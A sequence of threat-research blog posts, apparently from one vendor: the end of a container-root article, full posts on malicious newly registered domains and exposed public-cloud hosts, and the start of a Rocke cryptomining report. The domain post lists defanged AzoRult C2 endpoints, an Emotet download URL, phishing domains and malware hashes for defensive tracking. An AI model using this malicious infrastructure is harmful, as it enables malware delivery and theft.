A recent Linux kernel development that was designed to solve the issue of root in containers is user namespaces. User namespaces allow for isolation of the container’s user IDs and group IDs. This kernel feature uses a mapping of UIDs and GIDs to differentiate between the users and groups on the host to those in the container. This allows for a process to run as UID 0 (root) inside the container while being UID 100000 (or any other UID) on the host. If then a process breaks out of a container the kernel will treat its effective user as the mapped non-root UID, and that process won’t have root privileges on the host. Great!

Yet the main container runtimes currently refrain from using user namespaces as the default. The feature was added to the kernel in Linux 3.8, which dates back to 2013, and Docker first integrated user namespaces back in 2015. However, since then it’s never been enabled in Docker as a default feature, presumably due to the limitations its use imposes. For example, external volume or storage drivers are unaware of the user mappings, and mounting files from the host may become complex due to file permissions.

At the same time, all the current implementations of rootless containers rely on user namespaces at their core. Not to be confused with what is referred to as non-root containers in this article, rootless containers are containers that can be run and managed by unprivileged users on the host. While Docker and other runtimes require a daemon running as root, rootless containers can be run by any user without additional capabilities.

Rootless containers have some benefits over traditional containers, such as allowing users on a shared machine to run containers without admin permission (e.g. in university labs) and making it possible to run nested containers (even for non privileged containers). However the main motivation for designing rootless containers was, in fact, mitigating the aforementioned vulnerabilities in container runtimes3.

The adoption of rootless containers is growing in trend. Major container tools like runc and Docker are releasing support for rootless, and new container engines and image builders have been released to allow for native rootless containers. Podman, a daemonless container engine, is seemingly mature enough to replace Docker with rootless containers alone.

Although user namespaces are not the focus of this article, it is worth mentioning that they do provide additional security benefits to traditional non-root containers. Without user namespaces, even if a container process runs without root, any privilege escalation vulnerability in the container could still compromise the host. For example, a malicious container process could exploit a vulnerable setuid binary to become root. This would not be possible if the root user inside the container is mapped to a non-root user on the host.

Building and running non-root containers

In Docker, the USER instruction can be used in a Dockerbuild file to change to any desired UID for all subsequent commands. The last USER instruction also determines which UID the container will run as by default. Many containers run all their build logic as root and add this instruction before the end of the build file.

Docker also lets users run images or execute commands in a container with a particular UID by using the --user flag.

With Kubernetes, pods or containers can be further constricted to run as a specific UID through the runAsUser field of either a Security Context or a Pod Security Policy. With Pod Security Policies it is also possible to restrict containers to run as UIDs within a selected range with the MustRunAs field, or simply prevent containers from running as root with the MustRunAsNonRoot field.

Kubernetes issue CVE-2019-11245

Following the release of Kubelet v1.13.6 and v1.14.2, multiple Kubernetes users complained that their non-root containers were being run as root from their second execution4. Upon investigation of this issue, it was discovered to be a problem specific to dockershim, the Kubernetes component that runs Docker containers.

Docker containers built to run as a non root users with the USER instruction were being run as root by Kubernetes, starting from their second execution.

This was, of course, a security issue. Besides the previously mentioned dangers of running as root in containers, users may have relied on the user configurations for their design. For instance, users could have exposed volumes to containers in knowing they do not have root privilege.

The issue was quickly fixed by reverting a certain commit in the Kubelet code that broke the detection of an image UID. The broken logic was run only if the Docker image was previously pulled to the node, explaining why the bug only took place from the second execution or later.

The two Kubelet releases with this commit (v1.13.6 and v1.14.2) were the only affected by this vulnerability.

Takeaways

The use of containers follows the principle of least privilege by its nature, as containers usually have limited responsibilities and capabilities. By restricting containers from using root when it is not strictly needed, we can further increase their security and prevent attackers from exploiting flaws that may be found in container engines.

There is good reason to believe that in the not-so-far future container runtimes will enable user namespaces support by default and rootless containers will be adopted as the mainstream. Sure, current implementations have their handful of limitations, but soon enough developers will eliminate them as the reach of these projects grow.

1https://docs.openshift.com/container-platform/3.3/creating_images/guidelines.html#use-uid
2Currently the most common OCI implementation for container runtimes, used in Docker, see in GitHub
3Rootless Containers, DevConf.CZ (Jan 25, 2019), Giuseppe Scrivano and Akihiro Suda
4See https://github.com/kubernetes/kubernetes/pull/78178, https://github.com/kubernetes/kubernetes/issues/78175 and https://github.com/kubernetes/kubernetes/issues/78308

Newly Registered Domains: Malicious Abuse by Bad Actors

Posted on by Zhanhao Chen

Executive Summary

Newly registered domains (NRDs) are known to be favored by threat actors to launch malicious campaigns. Academic and industry research reports have shown statistical proof that NRDs are risky, revealing malicious usage of NRDs including phishing, malware, and scam. Therefore, best security practice calls for blocking and/or closely monitoring NRDs in enterprise traffic. Despite the evidence, there hasn’t yet been a comprehensive case study on the malicious usages and threats associated with NRDs using real world examples. This blog presents that comprehensive case study and analysis of malicious abuses of NRDs by bad actors.

We have been tracking NRDs for more than nine years. We collaborate with the Internet Corporation for Assigned Names and Numbers (ICANN) and various domain registries and registrars, which provides us direct visibility of many NRDs registered under both generic top-level domains (gTLDs) and country-code top-level domains (ccTLDs). We also indirectly identify NRDs by leveraging a combination of data sources, including WHOIS, zone files, and passive DNS. Our proprietary NRD feed consists of 1,530 top-level domains, which to our knowledge exceeds the best NRD feed/service publicly offered on the market.

Our analysis shows that more than 70% of NRDs are “malicious” or “suspicious” or “not safe for work.” This ratio is almost 10 times higher than the ratio observed in Alexa’s top 10,000 domains. Also, most NRDs used for malicious purposes are very short-lived. They can be alive only for a few hours or a couple of days, sometimes even before any security vendor can detect it. This is why blocking NRDs is a necessary, preventive security measure for enterprises.

In this blog, we present some high-level statistics on recent NRDs, demonstrate the malicious usage and threats associated with them through case studies and conclude with a discussion of best practices.

High Level Statistics

Volume

Our system identifies, on average, about 200,000 NRDs every day. The total volume fluctuates between 150,000 and 300,000. Figure 1 displays the volume of NRDs from March 10 to May 29, 2019. In general, there are consistently more NRDs registered on weekdays than weekends, with the peak usually on Wednesday and low on Sunday.

Figure 1. Volume of daily NRDs.

Distribution of TLDs

Not every TLD has new registrations every day. On average, there are between 600 and 700 unique TLDs showing up in daily NRDs. Figure 2 lists the top 10 TLDs with the most registrations. The distribution is averaged over a dataset of three months, from March to May 2019. As one can see, .com is still the most popular TLD even though it was introduced 34 years ago (March 15, 1985). It accounts for 33% of all recent NRDs.

The second position changes over time, but mainly among a few ccTLDs including .tk, .cn, and .uk. For example, .cn remained in second place from November to December 2018. However, from March to May 2019, .tk was consistently in second place. Those ccTLDs get large numbers of of NRDs because they offer free domain registrations (e.g. .tk, .ml, .ga, .cf and .gq).

Usage of NRDs

In order to understand the purpose of these new registrations, we cross-check these domains against categories assigned by our PAN-DB URL Filtering service. This service categorizes a URL through a group of techniques including web content crawling, malware traffic analysis, passive DNS data analysis, machine learning, and deep learning. For simplicity, we group the categories into five classes: “malicious” “suspicious” “not safe for work” “benign” and “other.” For malicious URLs, we have three categories, namely Malware, Command and Control (C2), and Phishing. For suspicious URLs, we use categories Parked, Questionable, Insufficient Content, and High Risk. We tag Nudity, Adult, Gambling, and similar subjects as “not safe for work.” For benign URLs, we use Business & Economy, Computer & Internet Info, and Shopping. Anything not fitting into these categories falls into an “other” class. Figure 3 shows the breakdown of the five classes.

Over 70% of NRDs are marked malicious, suspicious, or not safe for work by our PAN-DB URL Filtering service. This ratio is almost 10 times higher than the ratio observed in Alexa’s top 10,000 domains, which is only 7.6%. In addition, malicious categories accounts for about 1.27% of NRDs by our PAN-DB URL Filtering service. In Alexa top 10,000 domains, however, this ratio is only about 0.07%.

Malicious NRDs

To further understand the characteristics of malicious NRDs, we checked and calculated the ratio of malicious NRDs for each TLD. Figure 4 lists the top 15 TLDs with the highest malicious rate on recent NRDs. Many of those are ccTLDs. Some reasons for a TLD to have a high malicious rate include inexpensive or free registration, a less strict registration policy, and obscuring WHOIS registrant data from public view.

 

Figure 4. Top 15 TLDs with the highest malicious NRD rate.

The original version of this blog listed different top 15 TLDs with the highest rate of malicious newly registered domains. Since publication we found that our analysis included some domains that were contacted by malware, but not actually registered. We re-evaluated the data and updated the chart to reflect the new analysis. 

Malicious Usages and Threats

Now we discuss the malicious abuse of NRDs. We analyzed NRDs observed in our products and services, including URL Filtering, WildFire, and DNS Security. We found NRDs are associated with malicious usages and threats such as C2, malware distribution, phishing, typosquatting, PUP/Adware, and spam. Below are highlights from each category with real world examples.

C2 Domain

Malware typically needs to “phone home” in order to get commands, download further payloads, or perform data exfiltration. The malicious domain used for this purpose is called the command and control (C2) domain.

soroog[.]xyz was first registered on May 29, 2019 and we observed malware using this domain for C2 the same day. So far, we have seen seven AzoRult malware samples using this C2 domain. Malware belonging to this family can automatically collect sensitive data, including bitcoin wallet and credit card information.

Figure 5 captures a portion of the malware traffic wherein it’s actively communicating with the C2 soroog[.]xyz. This domain was initially hosted on the IP address 51.68.184[.]115. Based on our passive DNS records, the IP switched to 51.38.101[.]194 on June 24, 2019. This domain turned into NXDomain (non-existent domain) after June 26, 2019. As one can see, this domain was very short-lived. Actually, this is true for most NRDs used for malicious purposes. They are alive for only a few hours or a couple of days, sometimes even before any security vendor can detect it. That is why blocking NRDs is a necessary, preventive security measure.

Figure 5. Packet capture of AzoRult C2 traffic.

Table 1 further enumerates the C2 URLs under this domain along with their usages. Readers with further interests in the behavior of this malware can refer to these two public analysis reports.

URL Usage
soroog[.]xyz/addbot registering a new bot
soroog[.]xyz/wallets sending out stolen information
soroog[.]xyz/suicide reporting self-delete
soroog[.]xyz/task registering a new task
soroog[.]xyz/cpu sending out CPU information

Table 1. C2 URLs and usages of AzoRult malware.

Malware Distribution

NRDs are commonly used for malware distribution. Here we use the Emotet malware family as an example. Emotet is a banking trojan that sniffs network traffic for banking credentials. Despite being discovered in 2014, it is still widely prevalent today. We have observed 50,000 unique samples so far in 2019. The initial delivery is usually through phishing attacks. As shown in Figure 6, the malicious DOC often comes as an attachment in a phishing email or from a compromised website. This DOC often primarily acts as a downloader and will download and execute a further payload. The downloading is normally via HTTP and we have observed thousands of downloading URLs. Many of them are hosted on NRDs.

Figure 6. Emotet malware distribution chain.

For example, domain hvkbvmichelfd[.]info was registered on May 2, 2019. Only four days after that, on May 6, we saw an Emotet DOC using the URL hxxp://hvkbvmichelfd[.]info/skoex/po2.php?l=spond1.fgs to download a further payload. Interestingly, the payload further contacted another NRD halanis21yi84alycia[.]top to download a 2nd-stage payload (not shown in Figure 6). This second domain was also registered on May 2, 2019.

Readers who want to learn more about Emotet can refer to these two public blogs.

Phishing

NRDs are also frequently used by phishing campaigns. The domain canada-neflxt[.]com was registered on July 4, 2019. According to our passive DNS record, we started to see traffic to this domain on July 6 and it was an active phishing site until July 17. It tries to steal victims’ Netflix credentials as well as billing information (Figure 10). There is another domain netflix-mail[.]ca also redirecting to canada-neflxt[.]com. This domain was registered on July 11.

This phishing website incorporated several techniques in order to hide it from automatic detection methods. For instance, the login page canada-neflxt[.]com/login (Figure 7a) utilizes a captcha to prevent crawlers from reaching further contents. In addition, right click is disabled on the login page (Figure 7b). We believe this is to prevent a victim from easily inspecting the website for page resources and network traffic. After entering an email and password, we observed unencrypted information being sent out. Next, the victim will reach a page for setting up billing information (Figure 7c).

Figure 7a. Login page with Captcha.

Figure 7b. Login page with a login form and right click being disabled.

Figure 7c. Billing page to collect billing information.

Typosquatting

Domain typosquatting is a form of domain squatting that takes advantage of typos made by Internet users when typing a domain name into a web browser. There are three major ways to monetize a typosquatting domain. First, waiting to sell at a high price to the owner of the targeted domain (e.g. facebo0k[.]com as opposed to facebook[.]com). However, according to our analysis, big companies have been doing a reasonably good job in defensive registration. Plus, there are many brand monitoring/protection services to help with defensive registration. Therefore, it has become more and more difficult to make money in this way. Second, to serve ads or redirect the traffic to ads or competitors (for example, t-mogbile[.]com redirects to verizonwireless[.]com). The essential idea is to monetize the traffic. If the traffic volume is large enough to make more money than the registration fee (usually less than $10 per year), it is economically worthwhile to do this. Third, to serve malicious content like a phishing page, drive-by download of malware, etc.

Typosquatting domains are widely observed in NRDs. As an example, domain mocrosoft[.]cf is likely a typosquatting domain targeted at Microsoft. This is because the letter “i” and “o” are next to each other on a typical keyboard and a typo is possible. This domain was first registered on June 3, 2019 and traffic to this domain was captured in our data on the same day. Figure 8 is the screenshot for browsing it using Microsoft Edge. Obviously, it's a phishing page trying to steal the users’ login credentials.

Figure 8. Phishing page with fake user login form.

DGA

Domain generation algorithm (DGA) is a common approach used by malware to periodically generate a large amount of domains which can serve malicious purposes like C2 and data exfiltration. Most DGAs generate domains based on date and time. For example, Conficker C generates 50,000 domains every day. The huge volume of domains makes takedown efforts by law enforcement extremely difficult. However, the attacker knows the algorithm and thus can predict what domains will be generated on a particular date. So he or she only needs to register one or a few domains on demand. A large majority of DGA domains look very random.

As an example, ypwosgnjytynbqin[.]com is a DGA domain belong to Ramnit family. It was registered on July 3, 2019. Three days later on July 6, we observed a Ramnit sample (SHA256: 136896c4b996e0187fb3e03e13c9cf7c03d45bbdc0a0e13e9b53c518ec4517c2) talking to this domain.

Below in Table 2 are some additional examples where the malware communicating with DGA domains shortly after them being registered.

C2 Domain Registration Date Malware SHA256 Malware First Seen Date Malware Family
eqbqcguiwcymao[.]info 2019-01-17 6e812122f3067348580f06a1c62068cf7d3bf05a86e129396d51dd7666bcf7b9 2019-01-21 Pykspa
aaqkekyaum[.]org 2019-04-13 418dd3d94d138701f06c58ffb189dfae08c778fb9ad3859dbb7a301f299a8e55 2019-04-13 Pykspa
qgasocuiwcymao[.]info 2019-06-12 72748e6e2a3260e684f295eafcb8dd5b9927d15c41857435dfa28fd473eeccc4 2019-06-13 Pykspa
litvxvkucxqnaammvef[.]com 2019-04-11 de51942e72483067aaeae3810bc4a24b8e12a782b3a59385989f9fccba08e421 2019-04-13 Ramnit

Table 2. DGA in NRDs and associated malware.

PUP and Adware

PUP stands for “potentially unwanted program,” which is adware in most cases. Adware may not really harm the system at the same level as a malware does. However, it usually performs unwanted changes to the system like changing the browser's default page, hijacking the browser to insert ads, etc. Sometimes a PUP/Adware’s infrastructure can be repurposed for malware in campaigns, affecting those hosts running the PUP.

installsvpn[.]com was created for PUP distribution. First registered on May 10, we started to see this domain serving PUP on May 16. In particular, this is an adware targeted at iPhone users. Figure 9 shows the fake virus pop-up message, which tries to lure the user to download and install the “Secret VPN” tool. To bypass detection, this website retrieves the OS information and display warnings only for iPhones. For other systems, an empty page is returned.

Figure 9. Fake virus warning pop-up

Another example is the domain llzvrjx[.]site, which was registered on June 12 and became active on June 14. It’s an adult website offering a free streaming video app. We analyzed the Android version of this app and found this app comes with unwanted permissions like ACCESS_FINE_LOCATION, SEND_SMS, and READ_CONTACTS. This website also targets at mobile users. It has a cloaking JavaScript to hide itself from desktop users or crawler through checking the browser’s user agent.

Scams

Other than phishing scams which mainly attempt to obtain user credentials like username and password, there are other types of online scams. According to our analysis, these scams also rely on NRDs. Below are a few examples.

Reward scam: The domain mey12d4[.]xyz was registered on May 13, 2019. On the same day, we noticed a campaign where this domain is embedded in an unsolicited text message sent to victims, as shown in Figure 10a. The text message uses $100 reward as an incentive for users to click the link. Once opened in a browser, it will go through a series of redirections and finally land on a fake Amazon survey page, as shown in Figure 10b. We clicked through the survey and got to a page asking for personal information like credit card and home address.

Tech support scam: This type of scam relies on social engineering via phone calls claiming to provide a legitimate technical support service. Victims are often times tricked to install remote desktop access tools and/or pay for the “support” by giving out credit card information. The scams usually begin with a web page suggesting the computer is compromised and instructing the victim to call the support number. Figure 11 shows a running example. This page is hosted on the domain system-alert-m99[.]xyz, which is registered on July 17, 2019. On the same day, it started to serve the tech support scam page.

Figure 11. A typical tech support scam webpage

Re-bill scam: A recent Unit 42 blog talked about the “re-bill” scam. Basically, victims are lured to pay a small amount of money to get a trial of a product like weight loss pills. However, there is a tiny fine print stating that “if you don’t cancel your subscription within X-amount of time then you will be charged a much higher amount of money on a recurring basis”. The amount can be $50-$100 per each surprising credit card bill. Most domains used in such scams are NRDs. For example, ketoweightlosspillsreviews[.]com was recently registered on June 1, 2019. For additional information on this type of scam, please refer to this blog.

Email Spam

Spam emails are unsolicited messages sent to bulk email addresses that are harvested in different ways. The purpose of spam emails varies from advertising to spear phishing. Figure 12 shows a spam email distributing advertisements on retirement savings. It is sent through mercinogenitor[.]com, which was registered on July 4, 2019. The spam email was received on July 15. Unsurprisingly, Gmail detected it as spam at the time of receipt.

Figure 12. A spam email sent from NRD.

Conclusion

In sum, newly registered domains (NRDs) are often times abused by bad actors for nefarious purposes, including but not limited to C2, malware distribution, phishing, typosquatting, PUP/Adware, and spam. At the same time, there are benign uses as well, such as launching a new product, creating a new brand or campaign, hosting a new conference, or building a new personal site.

At Palo Alto Networks, we recommend blocking access to NRDs with URL Filtering. While this may be deemed a bit aggressive by some due to potential false-positives, the risk from threats via NRDs is much greater. At the bare minimum, if access to NRDs are allowed, then alerts should be set up for additional visibility. We define NRDs as any domain that has been registered or had a change in ownership within the last 32 days. Our own analysis has indicated that the first 32 days is the optimal time frame when NRDs are detected as malicious.

As seen in the TLD section of this blog, we would even go as far as to recommend blocking complete TLDs (Figure 4) that are mainly utilized by bad actors. Of course, each organization must understand what their tolerance is for potential false-positives when blocking whole TLDs.

Palo Alto Networks customers are all protected against malicious indicators (domain, IP, URL, SHA256) mentioned in this blog, via URL Filtering, DNS Security, WildFire, and Threat Prevention where applicable. AutoFocus customers with further interests in the malware mentioned in this blog can refer to AutoFocus tags AzoRult, Emotet, Pykspa, and Ramnit.

 

Hunting the Public Cloud for Exposed Hosts and Misconfigurations

Posted on by Jay Chen

Executive Summary

This research explores the security landscape of the Internet-facing services hosted in Amazon AWS, Microsoft Azure and Google Cloud Platform. Public cloud is becoming increasingly popular and the reported total spending on cloud infrastructure grew 45.6% in 2018. Amazon AWS maintained its lead with a 31.3% share of the Cloud Service Provider (CSP) market, followed by Microsoft Azure with 16.5%, and Google Cloud Platform, with 9.5%. CSPs offer various “as-a-service” models that give businesses agility and flexibility to scale operations without worrying about the IT infrastructure. However, a single insecure configuration can put the entire infrastructure at risk.

We focused on evaluating public cloud from the publicly exposed hosts. We collected information including exposed services, service versions and service vulnerabilities to determine the security posture of each host. We also investigated the correlation between malicious IPs in public cloud and prior known vulnerabilities.Our analysis revealed that:

  • 47% of SSH servers on Azure may be vulnerable to brute-force attacks due to the "use password-login" option.
  • 32% of exposed public cloud hosts have SSH servers open.
  • 24% of exposed public cloud hosts have known vulnerabilities.
  • 50% of exposed public cloud vulnerabilities have been known for at least two years.
  • 61% of exposed public cloud hosts are still on TLSv1.1 or older versions (v1.2 and v1.3 were released in 2008 and 2018, respectively).

We also discovered evidence that attackers are using public cloud as a stepping stone to launch attacks. Cloud infrastructure is still considered more secure than on-premise infrastructure due to the significant resources that CSPs dedicate to maintaining and upgrading their infrastructure. AWS, Azure, and GCP each had less than 20 CVEs identified in 2018 as opposed to thousands of vulnerabilities found in Windows or Linux every year, according to the NIST National Vulnerability Database (NVD). However, there is no shortage of cloud security incidents across all CSPs. Examples include leaked voting machine passwords, the leak of Indian citizen records, and leaked user job profiles). Prior research from RedLock, NetSkope and McAfee showed that most cloud security incidents are attributed to misconfigurations by cloud customers, not the CSPs. While some security responsibilities have been gradually shifted from users to CSPs, users are always responsible for some security design and decisions. Secure cloud infrastructure can only be achieved when both CSPs and users fulfill their responsibilities.

This blog reviews the current state of the public cloud service providers, then provides details on exposed services, exposed vulnerabilities, and malicious IPs. We conclude with a set of open-source tools to help users secure their public cloud infrastructure.

A Glance at Public Cloud

CSPs offer various services that allow users to delegate infrastructure, operating systems, software platforms, and even functions to the cloud. Figure 1 shows the shared responsibility between users and cloud service provider. Delegating infrastructure to the cloud (Infrastructure as a service, or IaaS) gives users the highest control to manage their systems while delegating functions to the cloud (Functions as a Service, or FaaS) gives users the easiest way to run a piece of code without worrying about the platform, resilience, and scalability. This research shows that users make fewer security mistakes when more responsibilities are shifted to the cloud provider.

Figure 1. The “as-a-service” operation models.

As AWS, Azure, and GCP together account for more than 60% of cloud market share, this research focuses only on these three CSPs. AWS, Azure, and GCP currently respectively each owns 41.8 million, 14 million, and 7 million IPv4 addresses, based on a review of the IP range that each CSP publishes . These addresses are spread across multiple cloud services, as shown in Table 1. This table only shows AWS and Azure, since GCP has not published the IP blocks of its individual services. Note that the majority of this research was done by finding the exposed hosts in these IP blocks and analyzing the services running on them.

Table 1. Number of public IPs that AWS and Azure allocate for the cloud services

Exposed Services in Public Cloud

Whenever an application service is exposed to the entire internet, there is always a risk - no matter how secure the service. Some services - such as HTTP, POP3, and VPN - are designed to be open to the internet so that users can access them from anywhere. However, many application services don’t need to be wide open to the internet. For example, a database is typically accessed only by a few application servers from specific networks, and an SMB server is designed for sharing files within the same local area network. Opening these application services to the internet simply creates attack vectors into the system. While CSPs make it easier to deploy services to the internet, they also make it quicker to expose misconfigured or vulnerable services.

To find the hosts and services exposed on the public cloud, we queried Shodan and Censys for the IP blocks owned by AWS, Azure and GCP. We found 9.3 million AWS hosts, 1.5 million Azure hosts, and 2.5 million GCP hosts. Our searches focused on eight services that are generally not secure enough to expose to the entire internet. Table 2 shows the result of these searches. It is shocking to see that 32% of the exposed hosts in public cloud have open SSH services. Although SSH is one of the most secure protocols, it is still too risky to expose this powerful service to the entire internet. Any misconfiguration or weak/leaked credentials can lead to host compromise. CIS benchmarks suggest inbound traffic to SSH services should be restricted to a small set of hosts. Curious to how secure these SSH servers are, we scanned all 2.8 million U.S. based SSH servers hosted in public cloud.

To have strong security, SSH servers should only be authenticated with a public/private key pair, as opposed to password-based authentication, because they are vulnerable to brute-force attacks. Much to our surprise, almost 50% of the SSH servers on Azure have password login enabled while less than 5% had it enabled on AWS and GCP (Table 3). We thought it was more than a coincidence since the difference was so large, so we dug into Azure cloud to investigate how these SSH services are created. We quickly found the explanation: most SSH services on Azure Virtual Machines are configured during the VM creation process. Figure 2 shows a screenshot of the SSH configuration on Azure. Azure gives users two options: password authentication or public key authentication. It is logical to think that half of the users would choose password authentication, likely because they don’t know how the public key authentication works or how to create a key. Nevertheless, it is easy to come up with or reuse a password, but creating a public key requires significant extra steps, as described in this Azure documentation.

This same behavior was not observed in AWS or GCP environments because neither of them offers password login as an option. AWS generates a new key pair and lets the user download the private key before the VM is launched (Figure 3). GCP also creates a key pair automatically upon VM creation and manages the keys inside the Compute Engine (Figure 4). This finding shows how much the UI design can steer user behavior and potentially move the system to a less secure state.

Table 2. Ports and services discovered in public cloud

Table 3. SSH servers exposed in the U.S.

Figure 2. Azure Virtual Machine SSH configuration

Figure 3. AWS EC2 SSH configuration

Figure 4. Google Compute Engine SSH configuration

Vulnerabilities in Public Cloud

Within the exposed application services in public cloud, we identified 29 million vulnerabilities in AWS, 1.7 million vulnerabilities in Azure, and 4 million vulnerabilities in GCP. On average, each vulnerable host has 11 vulnerabilities. Interestingly, the top 10 vulnerabilities across all three CSPs are largely the same and OpenSSH and Http_Server are the only two products seen on the list, as shown in Table 4. This is because web application is the most common service (http/https) exposed to the internet and OpenSSH and Http_Server are the most widely used technologies behind web applications.

Table 4. Top 10 vulnerabilities in public cloud

When dissecting the vulnerabilities across all the cloud services, 99.8% of the vulnerabilities in AWS are from EC2 and 99.8% of the vulnerabilities in Azure are from Azure Virtual Machine. AWS EC2 and Azure Virtual Machines are both IaaS that let users deploy and manage the entire operating systems. The unfortunate consequence is that most users don’t prioritize the security and are unaware of the vulnerabilities in their systems.

Figure 5 shows the number of hosts with different numbers of vulnerabilities in public cloud. The horizontal axis is the number of vulnerabilities and the vertical axis is the number of hosts. 25% of the AWS hosts, 8% of the Azure hosts, and 27% of the GCP hosts are found vulnerable. The majority of the vulnerable hosts have 1-10 vulnerabilities.

Figure 5. The number of hosts with different numbers of vulnerabilities in AWS, Azure, and GCP

Figure 6 shows the number of vulnerabilities within public cloud based on year of CVE release and severity rating. The horizontal axis is the CVE year, the vertical axis is the number of vulnerabilities and the colors represent CVSS v2 severity. As illustrated within the figure, 70% of the vulnerabilities are rated medium severity and 17% are rated high severity. 18% of the vulnerabilities in AWS, 21% in Azure and 12% in GCP are older than five years. These old vulnerabilities imply the number of legacy or end-of-life applications that are still running in public cloud. Because patching these old vulnerabilities may require a revamp of the applications, developers usually avoid opening this can of worms.

Figure 6. Number of vulnerabilities with different CVE year in AWS, Azure, and GCP

Secure Socket Layer (SSL) and Transport Layer Security (TLS) are fundamental to the modern web application security. They provide communication privacy and data integrity to the computer network. Many vulnerabilities were discovered in earlier versions of the protocols and a few of the severe vulnerabilities allow man-in-the-middle attacks. After examining all the exposed hosts with SSL/TLS configured, we found more than 61% were still using protocols older than TLS v1.2, as shown in Figure 7.

This number is worrisome as it’s been almost ten years since TLS v1.2 was released and both TLSv1.0 and TLSv1.1 are scheduled to retire in 2020. It is again not surprising to see that most of these outdated protocols are maintained by IaaS owners who are often behind the patching and update cycle.

ChartFigure 7. Adoption rate of different TLS/SSL versions in public cloud

Threat Actors from Public Cloud

Public cloud not only simplifies developers and IT's work but also provides a platform for malicious actors to launch or pivot attacks. The vulnerable application services in public cloud create attack vectors into the cloud infrastructure. From an attacker's perspective, compromising a public cloud instance is not too different from compromising an on-premise server. However, knowing that an instance is hosted on a specific CSP, an attacker can better weaponize the exploit to evade surveillance. There is also a better chance that a compromised public cloud instance has higher computation power, in case of a crypto-jacking attack. Unit 42 has uncovered evidence that malicious actors are developing malware targeting public cloud infrastructure. To understand the problem, researchers analyzed the malicious IPs in 2018 from Facebook Threat Exchange. Out of the 16,764 malicious IPs, 985 originated from AWS, 109 originated from Azure, and 34 originated from GCP. A total of 7% of the reported IPs were from one of the three CSPs.

It is unclear whether these malicious IPs were hosts compromised or created by attackers. We assume that hosts with more vulnerabilities have a higher chance of being compromised. To validate this assumption, we checked the vulnerabilities of the reported IPs during the time of their malicious activities. Figure 8 shows the vulnerability statistics of the malicious public cloud IPs. The left plot is the percentage of IPs with known vulnerabilities. The right plot is the average number of vulnerabilities found on each IP. Out of the 1,128 malicious public cloud IPs, 60% have known vulnerabilities with an average of 28 vulnerabilities per host. These numbers are statistically significant compared to the fact that only 24% of the exposed public cloud hosts are found with vulnerabilities with an average of11 vulnerabilities per host. Based on these numbers, there is a high chance that these vulnerable hosts were compromised and used for malicious activities. Finally, we looked for the malicious IPs that are associated with a high number of short-lived domain names. Short-lived domain names are a common characteristic of malicious hosts. We found that 20% of the malicious public cloud IPs are associated with more than 55 domain names within 12 months. The implication of these numbers is that public cloud is becoming a stepping stone for launching attacks.

Figure 8. Vulnerabilities in the malicious public cloud hosts

Conclusion - Secure Your Public Cloud

Public cloud adoption continues to accelerate as it plays an increasingly significant part in next-generation IT. Although Amazon launched AWS more than 13 years ago, CSPs started to focus more on security in recent years. About 75% of allAmazon cloud security products were launched within the last three years.

In public cloud, security is a shared responsibility between the CSP and the users. As there are so many cloud services in public cloud, most of the users are probably unaware of their security responsibilities. CSPs not only should secure their cloud services but also set up guardrails to prevent and detect insecure user behavior. The findings in this study reiterate the importance of “security by default.” If there were no insecure options, the users could not have made insecure decisions. If CSPs proactively monitored for insecure user behavior and alerted users with actionable remediation, there would not have been so many exposed services.

There are, however, still designs and decisions for which users should be responsible. Users need to have minimal security awareness to work in the cloud. Although Function-as-a-Service removes a lot of maintenance burden from the users, developers still need to write the code and assign proper permission to each function. If new vulnerabilities are found in the libraries that the functions use, only the developer can patch and update the source code. If CSP alerts an exposed SSH service and recommends a firewall configuration to restrict inbound traffic, only the system admins know what IPs the firewall should allowlist. These trivial tasks are too often neglected, which can lead to catastrophic outcomes. The sheer volume of security incidents caused by weak credentials or exposed databases have numbed the security community. Yet there is no sign that the number of related security incidents is slowing down. Different organizations simply repeat the same mistakes at different CSPs.

Perfect security is almost impossible, but one should always conduct due diligence to minimize the chance of compromise. Thanks to the open-source community, there are plenty of free tools to simplify a complex job. These tools that can help users bridge the security gap in their cloud infrastructure.

Vulnerability scanners: Developers should continuously scan their code for known vulnerabilities. Prisma Scan, Clair, OpenSCAP, and OpenVAS can identify the vulnerable packages in your system.

Cloud infrastructure auditing: System administrators should continuously audit their cloud infrastructure and detect misconfiguration. Prisma IaC Scanner, ScountSuit, and CloudSploit can identify potentially misconfigured components in your cloud infrastructure.

Exposed hosts and services monitoring: System administrators can monitor the IP blocks that they own from the internet. Shodan and Censys are IoT search engines that periodically scan the entire internet.

 

Rocke'in the NetFlow

Posted on by Nathaniel Quist

Executive Summary

Unit 42 spent six months researching the China-based cybercrime group Rocke, which is the best-known threat actor engaged in cryptomining operations targeting the cloud. We released high-level results from our investigation of Rocke in our recent cloud threat report. This research report provides a deep dive into our investigation of Rocke, which concluded that the group is able to conduct operations with little interference and limited detection risk.

By analyzing NetFlow data from December 2018 to June 16, 2019, we found that 28.1% of the cloud environments we surveyed had at least one fully established network connection with at least one known Rocke command-and-control (C2) domain. Several of those organizations maintained near daily connections. Meanwhile, 20% of the organizations maintained hourly heartbeats consistent with Rocke tactics, techniques, and procedures (TTPs).

The group has also released a new tool called Godlua, which could function as an agent, allowing the group’s actors to perform additional scripted operations, including denial of service (DoS) attacks, network proxying, and two shell capabilities. Unit 42 also discovered network traffic identification patterns within NetFlow traffic that provide unique insight into Rocke TTPs and how defenders can develop detection capabilities.

Intro to Rocke

The activities of Rocke, aka the Iron Group, SystemTen, Kerberods/Khugepageds, and even ex-Rocke, were originally reported in August 2018. Researchers have since blogged on its use of the Golang programming language and the new backdoor, Godlua. There is an operational blog mapping Rocke operations to the MITRE ATT&CK framework. Unit 42 has also published blogs on the group’s Xbash ransomware tool and its cloud security evasion and cryptomining techniques.

Rocke was initially associated with ransomware campaigns through the use of its Linux-focused Xbash tool, a data-destruction malware similar in functionality to NotPetya. NotPetya used the EternalBlue exploit to propagate across a network. Xbash performed lateral movement by leveraging an organization’s unpatched vulnerabilities and use of weak passwords, which potentially limited its overall effectiveness. When Rocke compromised an organization, it demanded that victims pay 0.2, 0.15, or 0.02 bitcoin (BTC) to restore lost data. However, Rocke was unable to restore any data since Xbash deleted database tables prior to demanding the ransom. At the time of Unit 42’s reporting, Rocke’s BTC wallet contained 0.964 BTC (equivalent to US$10,130 today) from just 48 unique transfers.

Rocke’s Cryptomining Operation

Like Rocke’s Xbash malware, the group’s first cryptomining operations were written in Python and used Pastebin or GitHub as the code repository from which the first-stage payload was downloaded. As of March 12, 2019, Rocke actors began to also use Golang. The first-stage payload directed the victim system to connect to a hardcoded Rocke domain or IP address, which would trigger the download of the second-stage payload.

